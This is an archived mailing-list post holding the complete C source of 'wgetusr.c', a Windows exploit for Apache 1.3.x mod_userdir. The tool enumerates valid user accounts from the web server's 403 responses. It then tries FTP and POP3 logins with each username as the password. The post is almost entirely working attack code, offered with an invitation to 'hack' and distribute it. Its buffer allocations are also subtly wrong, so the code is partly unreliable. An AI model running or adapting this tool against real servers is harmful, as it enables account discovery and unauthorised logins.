<<< Date Index >>>     <<< Thread Index >>>

Apache 1.3.x mod_userdir Exploit (wgetusr.c)




/*-------------------------------------------------------------------
 *
 * Exploit: wgetusr.c Windows Version
 * Author: HighT1mes (John Bissell)
 * Date Released: July 21, 2004
 *
 * --- Code ported to Windows with some added code,
 *     based on getusr.c exploit by CoKi ---
 *
 * Description from CoKi:
 * ======================
 *
 * This tool tries to find users in a Apache 1.3.*
 * server through wrong default configuration of
 * module mod_userdir. 
 *
 * My Believe:
 * ===========
 *
 * I believe in the current state of the web right 
 * now this information leak bug can be pretty nasty. 
 * Once you have a couple login names on a system 
 * there are many services the attacker can target 
 * to attack and work his way into the target system 
 * to get local access. 
 *
 * Program Usage:
 * ==============
 *
 * Use: wgetusr [options] -h <host> -u <usrfile>
 *          -h     Host
 *          -u     Users file
 *         Options
 *          -f     Try log on via FTP
 *          -p     Try log on via POP3
 *
 * VC++ 6.0 Compilation Information:
 * =================================
 *
 * First go on the net and get the getopt libs and header
 * file for VC++ 6.0 Here's a link...
 *
 * http://prantl.host.sk/getopt/files/getopt-msvs6.zip
 *
 * Now extract the libs into your standerd VC++ Lib directory, 
 * and extract the getopt.h header file of course into the 
 * Include directory.
 *
 * Now to compile make a new console app project,
 * then put this source file in the project.
 * Next goto Project->Settings. Then click on
 * the link tab then goto the input catagory. 
 * Now add getopt.lib to the end of objects/librarys 
 * modules text box. Then in the Ignore Librarys 
 * text box type LIBCD.lib to ignore that lib and allow
 * compilation to complete because of getopt lib.
 *
 * Also you where you added getopt.lib to the
 * objects/librarys modules text box put ws2_32.lib
 * in that text box as well.
 *
 * Your all set compile, hack, distrobute, have fun! :)
 *
*-------------------------------------------------------------------*/

#include <getopt.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <windows.h>

#define DATAMAX 50
#define BUFFER 1000
#define TCPIP_ERROR -1
#define TIMEOUT 3
#define HTTP_PORT 80
#define FTP_PORT 21
#define POP3_PORT 110

void use(char *program);
int connect_timeout(int sfd, struct sockaddr *serv_addr, int timeout);
void vrfy_apache(char *host);
void vrfy_vuln(char *host);
int test_user(char *host, char *user);
int trylogonFTP(char *host, char *user, char *pass);
int mkconn(char *host, unsigned short port);
int trylogonPOP3(char *host, char *user, char *pass);
 
struct hostent *he;
char **fuser;
int sockfd;
struct sockaddr_in dest_dir;

int main(int argc, char *argv[]) {

  FILE *userlist;
  char c, *host=NULL, *ulist=NULL;
  char user[DATAMAX];
  int ucant=0, flogged=0, plogged=0, optftp=0, optpop=0, stop=0;
  unsigned int cant=0, i, user_num;
  WSADATA wsaData;
  int result=0;

  printf(" =================================\n");
  printf("   wgetusr exploit by HighT1mes\n");
  printf("  Based on getusr.c code by CoKi\n");
  printf(" =================================\n\n");
  Sleep(1000);

  if(argc < 2) use(argv[0]);

  result = WSAStartup( MAKEWORD( 2,2 ), &wsaData );
        if ( result != NO_ERROR ) {
                printf( "Error at WSAStartup()\n" );
                return( EXIT_FAILURE );
        }

  while((c = getopt(argc, argv, "h:u:fp")) != EOF) {
    switch(c) {
      case 'h':
               host = optarg;
               break;
      case 'u':
               ulist = optarg;
               break;
      case 'f':
               optftp = 1;
               break;
      case 'p':
               optpop = 1;
               break;
      default :
               use(argv[0]);
               break;
    }
  }

  if(host == NULL) use(argv[0]);
  if(ulist == NULL) use(argv[0]);
  
  printf(" [+] verifying list:\t");

  if((userlist = fopen(ulist, "r")) == NULL) {
    printf("Failed\n\n");
    exit(1);
  }              
  
  while(!feof(userlist)) if('\n' == fgetc(userlist)) ucant++;
  rewind(userlist);
      
  printf("OK (%d users)\n", ucant);
  Sleep(1000);
  fuser = (char **)malloc(sizeof(ucant));

  printf(" [+] verifying host:\t");
      
  if((he=gethostbyname(host)) == NULL) {
    perror("Error: ");
        Sleep(1000);
    printf("\n");
    exit(1);
  }

  printf("OK\n");
  Sleep(1000);

  printf(" [+] connecting:\t");

  if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) {
    printf("Closed\n\n");
        Sleep(1000);
    exit(1);
  }
  
  printf("OK\n");
  Sleep(1000);
  closesocket(sockfd);

  vrfy_apache(host);
  Sleep(1000);
  
  vrfy_vuln(host);
  Sleep(1000);
      
  user_num = 1;
  while(!feof(userlist)) {
    if(fgets(user, sizeof(user), userlist) == NULL) break;
    user[strlen(user)-1] = '\0';
       
    if(test_user(host, user) == 0) {
      fuser[cant] = (char *)malloc(sizeof(user));
      memcpy(fuser[cant],user,strlen(user));
      memset(fuser[cant]+strlen(user),0,1);
      cant++;
    }

        system("CLS");
        printf(" wgetusr exploit by HighT1mes\n\n");
        printf(" [+] searching for system accounts, please wait...\n");
        printf(" [+] processing user #%d\n", user_num);
        user_num++;
  }
   
  if(cant == 0) {
    printf("     no users found\n\n");
    exit(1);
  }
  else {
        /* print out valid usernames found */
        printf(" [+] scan results for %s:\n\n", host);
        for (i = 0; i < cant; i++) {
                printf("     found username: %s\n", fuser[i]);
        }
  }

  printf("\n");

  if(optftp == 1) {
    stop = 0;
    printf(" [+] trying log on via FTP...\n");
    printf(" [+] connecting:\t");

    
    if(mkconn(host, FTP_PORT) == TCPIP_ERROR) {
      printf("Closed\n");
      stop = 1;
    }
  
    if(!stop) {
      printf("OK\n");
      closesocket(sockfd);
      for(i=0; i < cant; i++) {
        if(trylogonFTP(host, fuser[i], fuser[i]) == 0) {
          printf("     logged in: %s\n", fuser[i]);
          flogged++;
        }
      }
      if(flogged == 0) printf("     no users logged in\n");
    }
  }  

  if(optpop == 1) {
    stop = 0;
    printf(" [+] trying log on via POP3...\n");
    printf(" [+] connecting:\t");
    (stdout);
    
    if(mkconn(host, POP3_PORT) == TCPIP_ERROR) {
      printf("Closed\n");
      stop = 1;
    }
    
    if(!stop) {
      printf("OK\n");
      closesocket(sockfd);
      for(i=0; i < cant; i++) {
        if(trylogonPOP3(host, fuser[i], fuser[i]) == 0) {
          printf("     logged in: %s\n", fuser[i]);
          plogged++;
        }
      }
      if(plogged == 0)  printf("     no users logged in\n"); 
    }
  }
     
  printf("\n");
  fclose(userlist);
  WSACleanup();
  return 0;
}

void use(char *program) {
  printf("Use: %s [options] -h <host> -u <usrfile>\n", program);
  printf("         -h\tHost\n");
  printf("         -u\tUsers file\n");
  printf("        Options\n");
  printf("         -f\tTry log on via FTP\n");
  printf("         -p\tTry log on via POP3\n");
  exit(1);
}

int connect_timeout(int sfd, struct sockaddr *serv_addr, int timeout) 
{
  int res, slen, flags;
  struct timeval tv;
  struct sockaddr_in addr;
  fd_set rdf, wrf;
  int iMode = 0;

  ioctlsocket(sfd, FIONBIO, &iMode);

  res = connect(sfd, serv_addr, sizeof(struct sockaddr));

  if (res >= 0) return res;

  FD_ZERO(&rdf);
  FD_ZERO(&wrf);

  FD_SET(sfd, &rdf);
  FD_SET(sfd, &wrf);
  memset(&tv, 0, sizeof(tv));
  tv.tv_sec = timeout;

  if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
    return -1;

  if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
    slen = sizeof(addr);
    if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
    return -1;

    flags = ioctlsocket(sfd, FIONBIO, NULL);
        iMode = flags & ~iMode;
    ioctlsocket(sfd, FIONBIO, &iMode);

    return 0;
  }

  return -1;
}

void vrfy_apache(char *host) {
  char buf[BUFFER], sendstr[DATAMAX];
        
  printf(" [+] verifying Apache:\t");

  if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf("Closed\n");

  sprintf(sendstr, "HEAD / HTTP/1.0\n\n");
  send(sockfd, sendstr, sizeof(sendstr), 0);
  memset(buf, 0, sizeof(buf));
  recv(sockfd, buf, sizeof(buf), 0);
            
  if(strstr(buf, "Server: Apache")) printf("OK\n");
  else {
    printf("NO\n\n");
    exit(1);
  }

  closesocket(sockfd);
}

void vrfy_vuln(char *host) {
  char buf[BUFFER], sendstr[DATAMAX];
          
  printf(" [+] vulnerable:\t");
  
  if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf("Closed\n");
  
  memset(sendstr, 0, sizeof(sendstr));
  sprintf(sendstr, "GET /~root\n");
  send(sockfd, sendstr, sizeof(sendstr), 0);

  recv(sockfd, buf, sizeof(buf), 0);
                                        
  if(strstr(buf, "403")) printf("OK\n");
  else {
    printf("NO\n\n");
    exit(1);
  }

  closesocket(sockfd);
}

int test_user(char *host, char *user) {
  char buf[BUFFER], sendstr[DATAMAX];
 
  if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf("     Closed\n");
  
  memset(sendstr, 0, sizeof(sendstr));
  sprintf(sendstr, "GET /~%s\n", user);
  send(sockfd, sendstr, sizeof(sendstr), 0);
  
  recv(sockfd, buf, sizeof(buf), 0);

  if(strstr(buf, "403")) return 0;
  else return 1;
                                                      
  closesocket(sockfd); 
}

int trylogonFTP(char *host, char *user, char *pass) {
  char buf[BUFFER], *senduser, *sendpass;
  
  senduser = malloc(sizeof(user+6));
  sendpass = malloc(sizeof(pass+6));
  
  sprintf(senduser,"USER %s\n",user);
  sprintf(sendpass,"PASS %s\n",pass);
  
  if(mkconn(host, FTP_PORT) == TCPIP_ERROR) printf("     Closed\n");
  
  memset(buf,0,sizeof(buf));
  recv(sockfd,buf,sizeof(buf),0);
  send(sockfd,senduser,strlen(senduser), 0);
  memset(buf,0,sizeof(buf));
  recv(sockfd,buf,sizeof(buf),0);
  send(sockfd,sendpass,strlen(sendpass), 0);
  memset(buf,0,sizeof(buf));
  recv(sockfd,buf,sizeof(buf),0);
  
  if(strstr(buf, "230")) return 0;
  else return 1;
                                                      
  closesocket(sockfd); 
}

int mkconn(char *host, unsigned short port) {

  if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == TCPIP_ERROR) {
    perror("Error");
    printf("\n");
    exit(1);
  }
                
  dest_dir.sin_family = AF_INET;
  dest_dir.sin_port = htons(port);
  dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
  memset(&(dest_dir.sin_zero), 0, 8);

  if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir, TIMEOUT) == 
TCPIP_ERROR) {
    return TCPIP_ERROR;
  }
  
  return 0;
}

int trylogonPOP3(char *host, char *user, char *pass) {
  char buf[BUFFER], *senduser, *sendpass;
  
  senduser = malloc(sizeof(user+6));
  sendpass = malloc(sizeof(pass+6));

  sprintf(senduser,"USER %s\n",user);
  sprintf(sendpass,"PASS %s\n",pass);
      
  if(mkconn(host, POP3_PORT) == TCPIP_ERROR) printf("     Closed\n");
  
  memset(buf,0,sizeof(buf));
  recv(sockfd,buf,sizeof(buf),0);
  send(sockfd,senduser,strlen(senduser), 0);
  memset(buf,0,sizeof(buf));
  recv(sockfd,buf,sizeof(buf),0);
  send(sockfd,sendpass,strlen(sendpass), 0);
  memset(buf,0,sizeof(buf));
  recv(sockfd,buf,sizeof(buf),0);

  if(strstr(buf, "+OK")) return 0;
  else return 1;
    
  closesocket(sockfd);                  
}

/* EOF */